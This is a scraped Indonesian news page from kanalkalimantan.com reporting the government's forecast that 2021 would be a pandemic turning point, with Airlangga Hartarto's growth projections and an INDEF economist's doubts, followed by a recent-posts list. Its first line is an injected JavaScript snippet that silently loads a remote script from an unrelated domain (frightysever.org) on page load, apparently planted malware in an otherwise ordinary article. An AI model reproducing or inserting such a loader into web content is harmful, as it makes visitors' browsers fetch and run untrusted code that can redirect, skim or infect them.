(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemerintah Optimistis Tahun 2021 Menjadi Titik Balik Pandemi


KANALKALIMANTAN.COM, JAKARTA – Pemerintah optimistis bahwa tahun 2021 akan menjadi titik balik bagi semua persoalan yang ditimbulkan oleh pandemi corona.

Menteri Koordinator Bidang Perekonomian Airlangga Hartarto memperkirakan perekonomian Indonesia akan tumbuh di kisaran 4,5 persen hingga 5,5 persen pada 2021. Menurutnya, pertumbuhan tersebut ditopang peningkatan konsumsi, investasi dan ekspor yang sejalan dengan program pemulihan ekonomi nasional.

Di samping itu, pemerintah juga akan meneruskan program penanganan corona dengan melakukan vaksinasi dan memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat Berbasis Skala Mikro (PPKM Mikro). Vaksinasi ditargetkan akan menjangkau 182 juta orang pada tahun ini. Sementara PPKM Mikro telah diperluas dari 7 provinsi menjadi 10 provinsi karena dinilai efektif menekan kasus corona.

“Pemerintah akan terus melanjutkan anggaran Penanganan COVID-19 dan Program Pemulihan Ekonomi Nasional dengan meningkatkan anggaran mencapai Rp699,43 triliun atau naik sekitar Rp49,6 miliar. Jumlah ini naik 21 persen dibanding realisasi anggaran di 2020,” kata Airlangga secara daring pada Senin (22/3/2021).

Menteri Koordinator Bidang Perekonomian Airlangga Hartarto. (Foto: Kemenko Perekonomian)

Airlangga menambahkan pemerintah juga akan mempercepat realisasi belanja pemerintah pada kuartal pertama 2021 untuk menjaga momentum pertumbuhan ekonomi. Termasuk dengan memperbaiki iklim investasi dan mempermudah izin usaha. Kata dia, pemerintah juga terus melakukan reformasi perekonomian melalui Undang-undang Cipta Kerja dan turunannya.

Karena itu, Airlangga optimistis tahun 2021 akan menjadi titik balik bagi segala macam persoalan yang timbul akibat pandemi corona dalam setahun terakhir. Namun, ia tetap berharap masyarakat dan pemangku kepentingan lainnya dapat berpartisipasi dalam menjaga perekonomian nasional.

Baca juga : Pembunuhan di Belitung Darat Dipicu Rebutan Lahan Parkir, Pelaku Habisi Korban dengan Parang!

“Pemerintah akan selalu membutuhkan kerjasama dari seluruh pemangku kepentingan untuk memastikan bahwa kebijakan bisa dioperasikan dengan baik,” tambah Airlangga.

INDEF: Pemerintah Terlalu Optimistis

Ekonom Institute for Development of Economics and Finance (INDEF), Abra El Talattov menilai perkiraan pertumbuhan ekonomi di kisaran 4,5 persen hingga 5,5 persen terlalu optimistis. Apalagi pelaksanaan vaksinasi nasional masih belum optimal sehingga target kekebalan komunitas sulit tercapai. Kondisi ini dapat membuat mobilitas masyarakat masih terbatasi dan mengganggu perekonomian.

Peneliti Institute for Development of Economics and Finance (Indef) Abra Talattov. (Foto: Abra)

Di samping itu, konsumsi masyarakat juga masih belum maksimal, termasuk dari kelompok menengah atas yang masih menahan belanja. Dengan kondisi seperti ini, Abra memperkirakan pertumbuhan ekonomi tertinggi hanya akan mencapai tiga persen.

“Dari sisi konsumsi masyarakat juga masih terkontraksi karena mobilitasnya masih terbatas,” jelas Abra kepada

Abra juga menyoroti skema anggaran penanganan COVID-19 dan pemulihan ekonomi nasional (PEN) yang tidak jauh berbeda dengan tahun lalu. Menurutnya, skema anggaran yang hampir sama tersebut tidak akan membawa dampak terhadap perekonomian seperti tahun lalu.

Program PEN tahun 2020 ditutup dengan realisasi sebesar Rp579,78 triliun atau 83,34 persen dari target Rp695,2 triliun. Kendati cukup besar realisasi program tersebut namun tidak mampu menjadi pendorong pemulihan ekonomi nasional. Salah satu aspek yang terlihat yaitu bantuan sosial yang mencapai Rp220,39 triliun tidak bisa mendorong konsumsi makanan dan minuman tetap terjaga. [sm/em]

 

Editor : VOA

 

 


Al Ghifari

Recent Posts

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

59 menit ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

11 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

14 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

14 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

18 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

20 jam ago

This website uses cookies.